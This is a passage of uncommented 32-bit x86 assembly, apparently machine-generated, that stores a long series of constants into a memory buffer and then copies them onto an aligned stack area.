mov dword [esi + 0x6cc], eax
mov eax, 0x2a2e1fb8
mov ecx, 0x1bd66a05
mov dword [esi + 0x6c0], ecx
mov dword [esi + 0x6c4], eax
mov eax, 0x3816d595
mov ecx, 0x8752ad46
mov dword [esi + 0x6b8], ecx
mov dword [esi + 0x6bc], eax
mov eax, 0xffe5b92
mov ecx, 0xa4779343
mov dword [esi + 0x6b0], ecx
mov dword [esi + 0x6b4], eax
mov eax, 0x6294237
mov ecx, 0x5932552c
mov dword [esi + 0x6a8], ecx
mov dword [esi + 0x6ac], eax
mov eax, 0x3fa6664c
mov ecx, 0xbcab8e79
mov dword [esi + 0x6a0], ecx
mov dword [esi + 0x6a4], eax
mov eax, 0x503aa789
mov ecx, 0x8042d44a
mov dword [esi + 0x698], ecx
mov dword [esi + 0x69c], eax
mov eax, 0x9e924696
mov ecx, 0x2ac0a87
mov dword [esi + 0x690], ecx
mov dword [esi + 0x694], eax
mov eax, 0x265b649b
mov ecx, 0xf6409d90
mov dword [esi + 0x688], ecx
mov dword [esi + 0x68c], eax
mov eax, 0x2e0c82e0
mov ecx, 0xe06dbf0d
mov dword [esi + 0x680], ecx
mov dword [esi + 0x684], eax
mov eax, 0x5c0e35fd
mov ecx, 0x23960c6e
mov dword [esi + 0x678], ecx
mov dword [esi + 0x67c], eax
mov eax, 0xd25eafda
mov ecx, 0xfc864bcb
mov dword [esi + 0x670], ecx
mov dword [esi + 0x674], eax
mov eax, 0xbb196df
mov ecx, 0x2a5ac114
mov dword [esi + 0x668], ecx
mov dword [esi + 0x66c], eax
mov eax, 0xdc1e6c74
mov ecx, 0x2e30a041
mov dword [esi + 0x660], ecx
mov dword [esi + 0x664], eax
mov eax, 0xbd5682f1
mov ecx, 0xc387b132
mov dword [esi + 0x658], ecx
mov dword [esi + 0x65c], eax
mov eax, 0xad88303e
mov ecx, 0x98c5850f
mov dword [esi + 0x650], ecx
mov dword [esi + 0x654], eax
mov eax, 0xc55620c3
mov ecx, 0xe90b3a98
mov dword [esi + 0x648], ecx
mov dword [esi + 0x64c], eax
mov eax, 0x6a493848
mov ecx, 0x951ace35
mov dword [esi + 0x640], ecx
mov dword [esi + 0x644], eax
mov eax, 0xe864a325
mov ecx, 0x644807f6
mov dword [esi + 0x638], ecx
mov dword [esi + 0x63c], eax
mov eax, 0xd4e455a2
mov ecx, 0x57fba4f3
mov dword [esi + 0x630], ecx
mov dword [esi + 0x634], eax
mov eax, 0xe7cc6fc7
mov ecx, 0xe861f3dc
mov dword [esi + 0x628], ecx
mov dword [esi + 0x62c], eax
mov eax, 0x9db2465c
mov ecx, 0x92fba1a9
mov dword [esi + 0x620], ecx
mov dword [esi + 0x624], eax
mov eax, 0x3219e999
mov ecx, 0x48a939fa
mov dword [esi + 0x618], ecx
mov dword [esi + 0x61c], eax
mov eax, 0x36a77ba6
mov ecx, 0x284c8d37
mov dword [esi + 0x610], ecx
mov dword [esi + 0x614], eax
mov eax, 0xdc6b54ab
mov ecx, 0xd3837740
mov dword [esi + 0x608], ecx
mov dword [esi + 0x60c], eax
mov eax, 0xb5f05b70
mov ecx, 0xce1a8f3d
mov dword [esi + 0x600], ecx
mov dword [esi + 0x604], eax
mov eax, 0x9626170d
mov ecx, 0xd8e61e
mov dword [esi + 0x5f8], ecx
mov dword [esi + 0x5fc], eax
mov eax, 0xc125896a
mov ecx, 0x2226ce7b
mov dword [esi + 0x5f0], ecx
mov dword [esi + 0x5f4], eax
mov eax, 0x1c01dfef
mov ecx, 0x369f8a44
mov dword [esi + 0x5e8], ecx
mov dword [esi + 0x5ec], eax
mov eax, 0x39e22184
mov ecx, 0xb7379f1
mov dword [esi + 0x5e0], ecx
mov dword [esi + 0x5e4], eax
mov eax, 0x20b7da01
mov ecx, 0xf420ed62
mov dword [esi + 0x5d8], ecx
mov dword [esi + 0x5dc], eax
mov eax, 0xf95f98ce
mov ecx, 0xe914853f
mov dword [esi + 0x5d0], ecx
mov dword [esi + 0x5d4], eax
mov eax, 0x6ef5fed3
mov ecx, 0x4c01a848
mov dword [esi + 0x5c8], ecx
mov dword [esi + 0x5cc], eax
mov eax, 0x1f9ca9d8
mov ecx, 0x38df41e5
mov dword [esi + 0x5c0], ecx
mov dword [esi + 0x5c4], eax
mov eax, 0x4f2c47b5
mov ecx, 0x58e79ea6
mov dword [esi + 0x5b8], ecx
mov dword [esi + 0x5bc], eax
mov eax, 0x71785632
mov ecx, 0xa84aa523
mov dword [esi + 0x5b0], ecx
mov dword [esi + 0x5b4], eax
mov eax, 0x990827d7
mov ecx, 0xb0c8598c
mov dword [esi + 0x5a8], ecx
mov dword [esi + 0x5ac], eax
mov eax, 0xa79fadec
mov ecx, 0xc4d21259
mov dword [esi + 0x5a0], ecx
mov dword [esi + 0x5a4], eax
mov eax, 0x9faf9529
mov ecx, 0x6e49bcaa
mov dword [esi + 0x598], ecx
mov dword [esi + 0x59c], eax
mov eax, 0x5b8b54b6
mov ecx, 0x9a014e67
mov dword [esi + 0x590], ecx
mov dword [esi + 0x594], eax
mov eax, 0x4069593b
mov ecx, 0x64249870
mov dword [esi + 0x588], ecx
mov dword [esi + 0x58c], eax
mov eax, 0x38324a80
mov ecx, 0xd4054ded
mov dword [esi + 0x580], ecx
mov dword [esi + 0x584], eax
mov eax, 0x196ae99d
mov ecx, 0x63cf53ce
mov dword [esi + 0x578], ecx
mov dword [esi + 0x57c], eax
mov eax, 0xdbe5347a
mov ecx, 0x7a0b59ab
mov dword [esi + 0x570], ecx
mov dword [esi + 0x574], eax
mov eax, 0x7379f9ff
mov ecx, 0xa08674
mov dword [esi + 0x568], ecx
mov dword [esi + 0x56c], eax
mov eax, 0x734b7a14
mov ecx, 0xc82f4121
mov dword [esi + 0x560], ecx
mov dword [esi + 0x564], eax
mov eax, 0xe0a6e691
mov ecx, 0x60e7cc92
mov dword [esi + 0x558], ecx
mov dword [esi + 0x55c], eax
mov eax, 0x7e50835e
mov ecx, 0x3fbbdbef
mov dword [esi + 0x550], ecx
mov dword [esi + 0x554], eax
mov eax, 0xf0728fe3
mov ecx, 0xe501b878
mov dword [esi + 0x548], ecx
mov dword [esi + 0x54c], eax
mov eax, 0x8e3f9de8
mov ecx, 0x8f869895
mov dword [esi + 0x540], ecx
mov dword [esi + 0x544], eax
mov eax, 0x44d56545
mov ecx, 0x603e85d6
mov dword [esi + 0x538], ecx
mov dword [esi + 0x53c], eax
mov eax, 0xc9e6ac2
mov ecx, 0x400d80d3
mov dword [esi + 0x530], ecx
mov dword [esi + 0x534], eax
mov eax, 0xdfcb9167
mov ecx, 0x85c20f3c
mov dword [esi + 0x528], ecx
mov dword [esi + 0x52c], eax
mov eax, 0xb87730fc
mov ecx, 0x46756589
mov dword [esi + 0x520], ecx
mov dword [esi + 0x524], eax
mov eax, 0xee4dde39
mov ecx, 0x1eeeff5a
mov dword [esi + 0x518], ecx
mov dword [esi + 0x51c], eax
mov eax, 0x45fc5146
mov ecx, 0xa2956a17
mov dword [esi + 0x510], ecx
mov dword [esi + 0x514], eax
mov eax, 0x30714f4b
mov ecx, 0xe57a6ca0
mov dword [esi + 0x508], ecx
mov dword [esi + 0x50c], eax
mov eax, 0x91677690
mov ecx, 0x55a8a11d
mov dword [esi + 0x500], ecx
mov dword [esi + 0x504], eax
mov eax, 0xad700f2d
mov ecx, 0xe52527fe
mov dword [esi + 0x4f8], ecx
mov dword [esi + 0x4fc], eax
mov eax, 0x2d023e8a
mov ecx, 0xebc01adb
mov dword [esi + 0x4f0], ecx
mov dword [esi + 0x4f4], eax
mov eax, 0x86ad8f0f
mov ecx, 0xc906ec24
mov dword [esi + 0x4e8], ecx
mov dword [esi + 0x4ec], eax
mov eax, 0xd2aa78a4
mov ecx, 0xce19ffd1
mov dword [esi + 0x4e0], ecx
mov dword [esi + 0x4e4], eax
mov eax, 0xe1ffd821
mov ecx, 0xf0176b42
mov dword [esi + 0x4d8], ecx
mov dword [esi + 0x4dc], eax
mov eax, 0x45a69a9f
mov ecx, 0xb3f0b9ee
mov dword [esi + 0x4d0], ecx
mov dword [esi + 0x4d4], eax
lea ecx, [esi + 0x40]
xor eax, eax
mov dword [esi + 0x4cc], ecx
nop
push eax
sub esp, 0x47c
mov ebx, esp
and ebx, 0xfffffff0
mov esp, ebx
push eax
sub esp, 0x1c
mov eax, esp
and eax, 0xfffffff0
mov dword [esi + 0x1c], eax
mov esp, eax
mov eax, dword [esi + 0xda8]
mov dword [ebx + 4], eax
mov eax, dword [esi + 0xdac]
mov dword [ebx], eax
mov eax, dword [esi + 0xda0]
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0xda4]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0xd98]
mov dword [ebx + 0x14], eax
mov eax, dword [esi + 0xd9c]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0xd90]
mov dword [ebx + 0x1c], eax
mov eax, dword [esi + 0xd94]
mov dword [ebx + 0x18], eax
mov eax, dword [esi + 0xd88]
mov dword [ebx + 0x24], eax
mov eax, dword [esi + 0xd8c]
mov dword [ebx + 0x20], eax
mov eax, dword [esi + 0xd80]
mov dword [ebx + 0x2c], eax
mov eax, dword [esi + 0xd84]
mov dword [ebx + 0x28], eax
mov eax, dword [esi + 0xd78]
mov dword [ebx + 0x34], eax
mov eax, dword [esi + 0xd7c]
mov dword [ebx + 0x30], eax
mov eax, dword [esi + 0xd70]
mov dword [ebx + 0x3c], eax
mov eax, dword [esi + 0xd74]
mov dword [ebx + 0x38], eax
mov eax, dword [esi + 0xd68]
mov dword [ebx + 0x44], eax
mov eax, dword [esi + 0xd6c]
mov dword [ebx + 0x40], eax
mov eax, dword [esi + 0xd60]
mov dword [ebx + 0x4c], eax
mov eax, dword [esi + 0xd64]
mov dword [ebx + 0x48], eax
mov eax, dword [esi + 0xd58]
mov dword [ebx + 0x54], eax
mov eax, dword [esi + 0xd5c]
mov dword [ebx + 0x50], eax
mov eax, dword [esi + 0xd50]
mov dword [ebx + 0x5c], eax
mov eax, dword [esi + 0xd54]
mov dword [ebx + 0x58], eax
mov eax, dword [esi + 0xd48]
mov dword [ebx + 0x64], eax
mov eax, dword [esi + 0xd4c]
mov dword [ebx + 0x60], eax
mov eax, dword [esi + 0xd40]
mov dword [ebx + 0x6c], eax
mov eax, dword [esi + 0xd44]
mov dword [ebx + 0x68], eax
mov eax, dword [esi + 0xd38]
mov dword [ebx + 0x74], eax
mov eax, dword [esi + 0xd3c]
mov dword [ebx + 0x70], eax
mov eax, dword [esi + 0xd30]
mov dword [ebx + 0x7c], eax
mov eax, dword [esi + 0xd34]
mov dword [ebx + 0x78], eax
mov eax, dword [esi + 0xd28]
mov dword [ebx + 0x84], eax
mov eax, dword [esi + 0xd2c]
mov dword [ebx + 0x80], eax
mov eax, dword [esi + 0xd20]
mov dword [ebx + 0x8c], eax
mov eax, dword [esi + 0xd24]
mov dword [ebx + 0x88], eax
mov eax, dword [esi + 0xd18]
mov dword [ebx + 0x94], eax
mov eax, dword [esi + 0xd1c]
mov dword [ebx + 0x90], eax
mov eax, dword [esi + 0xd10]
mov dword [ebx + 0x9c], eax
mov eax, dword [esi + 0xd14]
mov dword [ebx + 0x98], eax
mov eax, dword [esi + 0xd08]
mov dword [ebx + 0xa4], eax
mov eax, dword [esi + 0xd0c]
mov dword [ebx + 0xa0], eax
mov eax, dword [esi + 0xd00]
mov dword [ebx + 0xac], eax
mov eax, dword [esi + 0xd04]
mov dword [ebx + 0xa8], eax
mov eax, dword [esi + 0xcf8]
mov dword [ebx + 0xb4], eax
mov eax, dword [esi + 0xcfc]
mov dword [ebx + 0xb0], eax
mov eax, dword [esi + 0xcf0]
mov dword [ebx + 0xbc], eax
mov eax, dword [esi + 0xcf4]
mov dword [ebx + 0xb8], eax
mov eax, dword [esi + 0xce8]
mov dword [ebx + 0xc4], eax
mov eax, dword [esi + 0xcec]
mov dword [ebx + 0xc0], eax
mov eax, dword [esi + 0xce0]
mov dword [ebx + 0xcc], eax
mov eax, dword [esi + 0xce4]
mov dword [ebx + 0xc8], eax
mov eax, dword [esi + 0xcd8]
mov dword [ebx + 0xd4], eax
mov eax, dword [esi + 0xcdc]
mov dword [ebx + 0xd0], eax
mov eax, dword [esi + 0xcd0]
mov dword [ebx + 0xdc], eax
mov eax, dword [esi + 0xcd4]
mov dword [ebx + 0xd8], eax
mov eax, dword [esi + 0xcc8]
mov dword [ebx + 0xe4], eax
mov eax, dword [esi + 0xccc]
mov dword [ebx + 0xe0], eax
mov eax, dword [esi + 0xcc0]
mov dword [ebx + 0xec], eax
mov eax, dword [esi + 0xcc4]
mov dword [ebx + 0xe8], eax
mov eax, dword [esi + 0xcb8]
mov dword [ebx + 0xf4], eax
mov eax, dword [esi + 0xcbc]
mov dword [ebx + 0xf0], eax
mov eax, dword [esi + 0xcb0]
mov dword [ebx + 0xfc], eax
mov eax, dword [esi + 0xcb4]
mov dword [ebx + 0xf8], eax
mov eax, dword [esi + 0xca8]
mov dword [ebx + 0x104], eax
mov eax, dword [esi + 0xcac]
mov dword [ebx + 0x100], eax
mov eax, dword [esi + 0xca0]
mov dword [ebx + 0x10c], eax
mov eax, dword [esi + 0xca4]
mov dword [ebx + 0x108], eax
mov eax, dword [esi + 0xc98]
mov dword [ebx + 0x114], eax
mov eax, dword [esi + 0xc9c]
mov dword [ebx + 0x110], eax
mov eax, dword [esi + 0xc90]
mov dword [ebx + 0x11c], eax
mov eax, dword [esi + 0xc94]
mov dword [ebx + 0x118], eax
mov eax, dword [esi + 0xc88]
mov dword [ebx + 0x124], eax
mov eax, dword [esi + 0xc8c]
mov dword [ebx + 0x120], eax
mov eax, dword [esi + 0xc80]
mov dword [ebx + 0x12c], eax
mov eax, dword [esi + 0xc84]
mov dword [ebx + 0x128], eax
mov eax, dword [esi + 0xc78]
mov dword [ebx + 0x134], eax
mov eax, dword [esi + 0xc7c]
mov dword [ebx + 0x130], eax
mov eax, dword [esi + 0xc70]
mov dword [ebx + 0x13c], eax
mov eax, dword [esi + 0xc74]
mov dword [ebx + 0x138], eax
mov eax, dword [esi + 0xc68]
mov dword [ebx + 0x144], eax
mov eax, dword [esi + 0xc6c]
mov dword [ebx + 0x140], eax
mov eax, dword [esi + 0xc60]
mov dword [ebx + 0x14c], eax
mov eax, dword [esi + 0xc64]
mov dword [ebx + 0x148], eax
mov eax, dword [esi + 0xc58]
mov dword [ebx + 0x154], eax
mov eax, dword [esi + 0xc5c]
mov dword [ebx + 0x150], eax
mov eax, dword [esi + 0xc50]
mov dword [ebx + 0x15c], eax
mov eax, dword [esi + 0xc54]
mov dword [ebx + 0x158], eax
mov eax, dword [esi + 0xc48]
mov dword [ebx + 0x164], eax
mov eax, dword [esi + 0xc4c]
mov dword [ebx + 0x160], eax
mov eax, dword [esi + 0xc40]
mov dword [ebx + 0x16c], eax
mov eax, dword [esi + 0xc44]
mov dword [ebx + 0x168], eax
mov eax, dword [esi + 0xc38]
mov dword [ebx + 0x174], eax
mov eax, dword [esi + 0xc3c]
mov dword [ebx + 0x170], eax
mov eax, dword [esi + 0xc30]
mov dword [ebx + 0x17c], eax
mov eax, dword [esi + 0xc34]
mov dword [ebx + 0x178], eax
mov eax, dword [esi + 0xc28]
mov dword [ebx + 0x184], eax
mov eax, dword [esi + 0xc2c]
mov dword [ebx + 0x180], eax
mov eax, dword [esi + 0xc20]
mov dword [ebx + 0x18c], eax
mov eax, dword [esi + 0xc24]
mov dword [ebx + 0x188], eax
mov eax, dword [esi + 0xc18]
mov dword [ebx + 0x194], eax
mov eax, dword [esi + 0xc1c]
mov dword [ebx + 0x190], eax
mov eax, dword [esi + 0xc10]
mov dword [ebx + 0x19c], eax
mov eax, dword [esi + 0xc14]
mov dword [ebx + 0x198], eax
mov eax, dword [esi + 0xc08]
mov dword [ebx + 0x1a4], eax
mov eax, dword [esi + 0xc0c]
mov dword [ebx + 0x1a0], eax
mov eax, dword [esi + 0xc00]
mov dword [ebx + 0x1ac], eax
mov eax, dword [esi + 0xc04]
mov dword [ebx + 0x1a8], eax
mov eax, dword [esi + 0xbf8]
mov dword [ebx + 0x1b4], eax
mov eax, dword [esi + 0xbfc]
mov dword [ebx + 0x1b0], eax
mov eax, dword [esi + 0xbf0]
mov dword [ebx + 0x1bc], eax
mov eax, dword [esi + 0xbf4]
mov dword [ebx + 0x1b8], eax
mov eax, dword [esi + 0xbe8]
mov dword [ebx + 0x1c4], eax
mov eax, dword [esi + 0xbec]
mov dword [ebx + 0x1c0], eax
mov eax, dword [esi + 0xbe0]
mov dword [ebx + 0x1cc], eax
mov eax, dword [esi + 0xbe4]
mov dword [ebx + 0x1c8], eax
mov eax, dword [esi + 0xbd8]
mov dword [ebx + 0x1d4], eax
mov eax, dword [esi + 0xbdc]
mov dword [ebx + 0x1d0], eax
mov eax, dword [esi + 0xbd0]
mov dword [ebx + 0x1dc], eax
mov eax, dword [esi + 0xbd4]
mov dword [ebx + 0x1d8], eax
mov eax, dword [esi + 0xbc8]
mov dword [ebx + 0x1e4], eax
mov eax, dword [esi + 0xbcc]
mov dword [ebx + 0x1e0], eax
mov eax, dword [esi + 0xbc0]
mov dword [ebx + 0x1ec], eax
mov eax, dword [esi + 0xbc4]
mov dword [ebx + 0x1e8], eax
mov eax, dword [esi + 0xbb8]
mov dword [ebx + 0x1f4], eax
mov eax, dword [esi + 0xbbc]
mov dword [ebx + 0x1f0], eax
mov eax, dword [esi + 0xbb0]
mov dword [ebx + 0x1fc], eax
mov eax, dword [esi + 0xbb4]
mov dword [ebx + 0x1f8], eax
mov eax, dword [esi + 0xba8]
mov dword [ebx + 0x204], eax
mov eax, dword [esi + 0xbac]
mov dword [ebx + 0x200], eax
mov eax, dword [esi + 0xba0]
mov dword [ebx + 0x20c], eax
mov eax, dword [esi + 0xba4]
mov dword [ebx + 0x208], eax
mov eax, dword [esi + 0xb98]
mov dword [ebx + 0x214], eax
mov eax, dword [esi + 0xb9c]
mov dword [ebx + 0x210], eax
mov eax, dword [esi + 0xb90]
mov dword [ebx + 0x21c], eax
mov eax, dword [esi + 0xb94]
mov dword [ebx + 0x218], eax
mov eax, dword [esi + 0xb88]
mov dword [ebx + 0x224], eax
mov eax, dword [esi + 0xb8c]
mov dword [ebx + 0x220], eax
mov eax, dword [esi + 0xb80]
mov dword [ebx + 0x22c], eax
mov eax, dword [esi + 0xb84]
mov dword [ebx + 0x228], eax
mov eax, dword [esi + 0xb78]
mov dword [ebx + 0x234], eax
mov eax, dword [esi + 0xb7c]
mov dword [ebx + 0x230], eax
mov eax, dword [esi + 0xb70]
mov dword [ebx + 0x23c], eax
mov eax, dword [esi + 0xb74]
mov dword [ebx + 0x238], eax
mov eax, dword [esi + 0xb68]
mov dword [ebx + 0x244], eax
mov eax, dword [esi + 0xb6c]
mov dword [ebx + 0x240], eax
mov eax, dword [esi + 0xb60]
mov dword [ebx + 0x24c], eax
mov eax, dword [esi + 0xb64]
mov dword [ebx + 0x248], eax
mov eax, dword [esi + 0xb58]
mov dword [ebx + 0x254], eax
mov eax, dword [esi + 0xb5c]
mov dword [ebx + 0x250], eax
mov eax, dword [esi + 0xb50]
mov dword [ebx + 0x25c], eax
mov eax, dword [esi + 0xb54]
mov dword [ebx + 0x258], eax
mov eax, dword [esi + 0xb48]
mov dword [ebx + 0x264], eax
mov eax, dword [esi + 0xb4c]
mov dword [ebx + 0x260], eax
mov eax, dword [esi + 0xb40]
mov dword [ebx + 0x26c], eax
mov eax, dword [esi + 0xb44]
mov dword [ebx + 0x268], eax
mov eax, dword [esi + 0xb38]
mov dword [ebx + 0x274], eax
mov eax, dword [esi + 0xb3c]
mov dword [ebx + 0x270], eax
mov eax, dword [esi + 0xb30]
mov dword [ebx + 0x27c], eax
mov eax, dword [esi + 0xb34]
mov dword [ebx + 0x278], eax
mov eax, dword [esi + 0xb28]
mov dword [ebx + 0x284], eax
mov eax, dword [esi + 0xb2c]
mov dword [ebx + 0x280], eax
mov eax, dword [esi + 0xb20]
mov dword [ebx + 0x28c], eax
mov eax, dword [esi + 0xb24]
mov dword [ebx + 0x288], eax
mov eax, dword [esi + 0xb18]
mov dword [ebx + 0x294], eax
mov eax, dword [esi + 0xb1c]
mov dword [ebx + 0x290], eax
mov eax, dword [esi + 0xb10]
mov dword [ebx + 0x29c], eax
mov eax, dword [esi + 0xb14]
mov dword [ebx + 0x298], eax
mov eax, dword [esi + 0xb08]
mov dword [ebx + 0x2a4], eax
mov eax, dword [esi + 0xb0c]
mov dword [ebx + 0x2a0], eax
mov eax, dword [esi + 0xb00]
mov dword [ebx + 0x2ac], eax
mov eax, dword [esi + 0xb04]
mov dword [ebx + 0x2a8], eax
mov eax, dword [esi + 0xaf8]
mov dword [ebx + 0x2b4], eax
mov eax, dword [esi + 0xafc]
mov dword [ebx + 0x2b0], eax
mov eax, dword [esi + 0xaf0]
mov dword [ebx + 0x2bc], eax
mov eax, dword [esi + 0xaf4]
mov dword [ebx + 0x2b8], eax
mov eax, dword [esi + 0xae8]
mov dword [ebx + 0x2c4], eax
mov eax, dword [esi + 0xaec]
mov dword [ebx + 0x2c0], eax
mov eax, dword [esi + 0xae0]
mov dword [ebx + 0x2cc], eax
mov eax, dword [esi + 0xae4]
mov dword [ebx + 0x2c8], eax
mov eax, dword [esi + 0xad8]
mov dword [ebx + 0x2d4], eax
mov eax, dword [esi + 0xadc]
mov dword [ebx + 0x2d0], eax
mov eax, dword [esi + 0xad0]
mov dword [ebx + 0x2dc], eax
mov eax, dword [esi + 0xad4]
mov dword [ebx + 0x2d8], eax
mov eax, dword [esi + 0xac8]
mov dword [ebx + 0x2e4], eax
mov eax, dword [esi + 0xacc]
mov dword [ebx + 0x2e0], eax
mov eax, dword [esi + 0xac0]
mov dword [ebx + 0x2ec], eax
mov eax, dword [esi + 0xac4]
mov dword [ebx + 0x2e8], eax
mov eax, dword [esi + 0xab8]
mov dword [ebx + 0x2f4], eax
mov eax, dword [esi + 0xabc]
mov dword [ebx + 0x2f0], eax
mov eax, dword [esi + 0xab0]
mov dword [ebx + 0x2fc], eax
mov eax, dword [esi + 0xab4]
mov dword [ebx + 0x2f8], eax
mov eax, dword [esi + 0xaa8]
mov dword [ebx + 0x304], eax
mov eax, dword [esi + 0xaac]
mov dword [ebx + 0x300], eax
mov eax, dword [esi + 0xaa0]
mov dword [ebx + 0x30c], eax
mov eax, dword [esi + 0xaa4]
mov dword [ebx + 0x308], eax
mov eax, dword [esi + 0xa98]
mov dword [ebx + 0x314], eax
mov eax, dword [esi + 0xa9c]
mov dword [ebx + 0x310], eax
mov eax, dword [esi + 0xa90]
mov dword [ebx + 0x31c], eax
mov eax, dword [esi + 0xa94]
mov dword [ebx + 0x318], eax
mov eax, dword [esi + 0xa88]
mov dword [ebx + 0x324], eax
mov eax, dword [esi + 0xa8c]
mov dword [ebx + 0x320], eax
mov eax, dword [esi + 0xa80]
mov dword [ebx + 0x32c], eax
mov eax, dword [esi + 0xa84]
mov dword [ebx + 0x328], eax
mov eax, dword [esi + 0xa78]
mov dword [ebx + 0x334], eax
mov eax, dword [esi + 0xa7c]
mov dword [ebx + 0x330], eax
mov eax, dword [esi + 0xa70]
mov dword [ebx + 0x33c], eax
mov eax, dword [esi + 0xa74]
mov dword [ebx + 0x338], eax
mov eax, dword [esi + 0xa68]
mov dword [ebx + 0x344], eax
mov eax, dword [esi + 0xa6c]
mov dword [ebx + 0x340], eax
mov eax, dword [esi + 0xa60]
mov dword [ebx + 0x34c], eax
mov eax, dword [esi + 0xa64]
mov dword [ebx + 0x348], eax
mov eax, dword [esi + 0xa58]
mov dword [ebx + 0x354], eax
mov eax, dword [esi + 0xa5c]
mov dword [ebx + 0x350], eax
mov eax, dword [esi + 0xa50]
mov dword [ebx + 0x35c], eax
mov eax, dword [esi + 0xa54]
mov dword [ebx + 0x358], eax
mov eax, dword [esi + 0xa48]
mov dword [ebx + 0x364], eax
mov eax, dword [esi + 0xa4c]
mov dword [ebx + 0x360], eax
mov eax, dword [esi + 0xa40]
mov dword [ebx + 0x36c], eax
mov eax, dword [esi + 0xa44]
mov dword [ebx + 0x368], eax
mov eax, dword [esi + 0xa38]
mov dword [ebx + 0x374], eax
mov eax, dword [esi + 0xa3c]
mov dword [ebx + 0x370], eax
mov eax, dword [esi + 0xa30]
mov dword [ebx + 0x37c], eax
mov eax, dword [esi + 0xa34]
mov dword [ebx + 0x378], eax
mov eax, dword [esi + 0xa28]
mov dword [ebx + 0x384], eax
mov eax, dword [esi + 0xa2c]
mov dword [ebx + 0x380], eax
mov eax, dword [esi + 0xa20]
mov dword [ebx + 0x38c], eax
mov eax, dword [esi + 0xa24]
mov dword [ebx + 0x388], eax
mov eax, dword [esi + 0xa18]
mov dword [ebx + 0x394], eax
mov eax, dword [esi + 0xa1c]
mov dword [ebx + 0x390], eax
mov eax, dword [esi + 0xa10]
mov dword [ebx + 0x39c], eax
mov eax, dword [esi + 0xa14]
mov dword [ebx + 0x398], eax
mov eax, dword [esi + 0xa08]
mov dword [ebx + 0x3a4], eax
mov eax, dword [esi + 0xa0c]
mov dword [ebx + 0x3a0], eax
mov eax, dword [esi + 0xa00]
mov dword [ebx + 0x3ac], eax
mov eax, dword [esi + 0xa04]
mov dword [ebx + 0x3a8], eax
mov eax, dword [esi + 0x9f8]
mov dword [ebx + 0x3b4], eax
mov eax, dword [esi + 0x9fc]
mov dword [ebx + 0x3b0], eax
mov eax, dword [esi + 0x9f0]
mov dword [ebx + 0x3bc], eax
mov eax, dword [esi + 0x9f4]
mov dword [ebx + 0x3b8], eax
mov eax, dword [esi + 0x9e8]
mov dword [ebx + 0x3c4], eax
mov eax, dword [esi + 0x9ec]
mov dword [ebx + 0x3c0], eax
mov eax, dword [esi + 0x9e0]
mov dword [ebx + 0x3cc], eax
mov eax, dword [esi + 0x9e4]
mov dword [ebx + 0x3c8], eax
mov eax, dword [esi + 0x9d8]
mov dword [ebx + 0x3d4], eax
mov eax, dword [esi + 0x9dc]
mov dword [ebx + 0x3d0], eax
mov eax, dword [esi + 0x9d0]
mov dword [ebx + 0x3dc], eax
mov eax, dword [esi + 0x9d4]
mov dword [ebx + 0x3d8], eax
mov eax, dword [esi + 0x9c8]
mov dword [ebx + 0x3e4], eax
mov eax, dword [esi + 0x9cc]
mov dword [ebx + 0x3e0], eax
mov eax, dword [esi + 0x9c0]
mov dword [ebx + 0x3ec], eax
mov eax, dword [esi + 0x9c4]
mov dword [ebx + 0x3e8], eax
mov eax, dword [esi + 0x9b8]
mov dword [ebx + 0x3f4], eax
mov eax, dword [esi + 0x9bc]
mov dword [ebx + 0x3f0], eax
mov eax, dword [esi + 0x9b0]
mov dword [ebx + 0x3fc], eax
mov eax, dword [esi + 0x9b4]
mov dword [ebx + 0x3f8], eax
mov eax, dword [esi + 0x9a8]
mov dword [ebx + 0x404], eax
mov eax, dword [esi + 0x9ac]
mov dword [ebx + 0x400], eax
mov eax, dword [esi + 0x9a0]
mov dword [ebx + 0x40c], eax
mov eax, dword [esi + 0x9a4]
mov dword [ebx + 0x408], eax
mov eax, dword [esi + 0x998]
mov dword [ebx + 0x414], eax
mov eax, dword [esi + 0x99c]
mov dword [ebx + 0x410], eax
mov eax, dword [esi + 0x990]
mov dword [ebx + 0x41c], eax
mov eax, dword [esi + 0x994]
mov dword [ebx + 0x418], eax
mov eax, dword [esi + 0x988]
mov dword [ebx + 0x424], eax
mov eax, dword [esi + 0x98c]
mov dword [ebx + 0x420], eax
mov eax, dword [esi + 0x980]
mov dword [ebx + 0x42c], eax
mov eax, dword [esi + 0x984]
mov dword [ebx + 0x428], eax
mov eax, dword [esi + 0x978]
mov dword [ebx + 0x434], eax
mov eax, dword [esi + 0x97c]
mov dword [ebx + 0x430], eax
mov eax, dword [esi + 0x970]
mov dword [ebx + 0x43c], eax
mov eax, dword [esi + 0x974]
mov dword [ebx + 0x438], eax
mov eax, dword [esi + 0x968]
mov dword [ebx + 0x444], eax
mov eax, dword [esi + 0x96c]
mov dword [ebx + 0x440], eax
mov eax, dword [esi + 0x960]
mov dword [ebx + 0x44c], eax
mov eax, dword [esi + 0x964]
mov dword [ebx + 0x448], eax
mov eax, dword [esi + 0x958]
mov dword [ebx + 0x454], eax
mov eax, dword [esi + 0x95c]
mov dword [ebx + 0x450], eax
mov eax, dword [esi + 0x950]
mov dword [ebx + 0x45c], eax
mov eax, dword [esi + 0x954]
mov dword [ebx + 0x458], eax
mov eax, dword [esi + 0x948]
mov dword [ebx + 0x464], eax
mov eax, dword [esi + 0x94c]
mov dword [ebx + 0x460], eax
mov eax, dword [esi + 0x940]
mov dword [ebx + 0x46c], eax
mov eax, dword [esi + 0x944]
mov dword [ebx + 0x468], eax
mov eax, dword [esi + 0x938]
mov dword [ebx + 0x474], eax
mov eax, dword [esi + 0x93c]
mov dword [ebx + 0x470], eax
mov eax, dword [esi + 0x930]
mov dword [ebx + 0x47c], eax
mov eax, dword [esi + 0x934]
mov dword [ebx + 0x478], eax
mov eax, dword [esi + 0x14]
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x18]
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x2c]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x928]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x92c]
mov dword [esi + 0x60], eax
mov eax, dword [esi + 0x920]
mov dword [esi + 0x6c], eax
mov eax, dword [esi + 0x924]
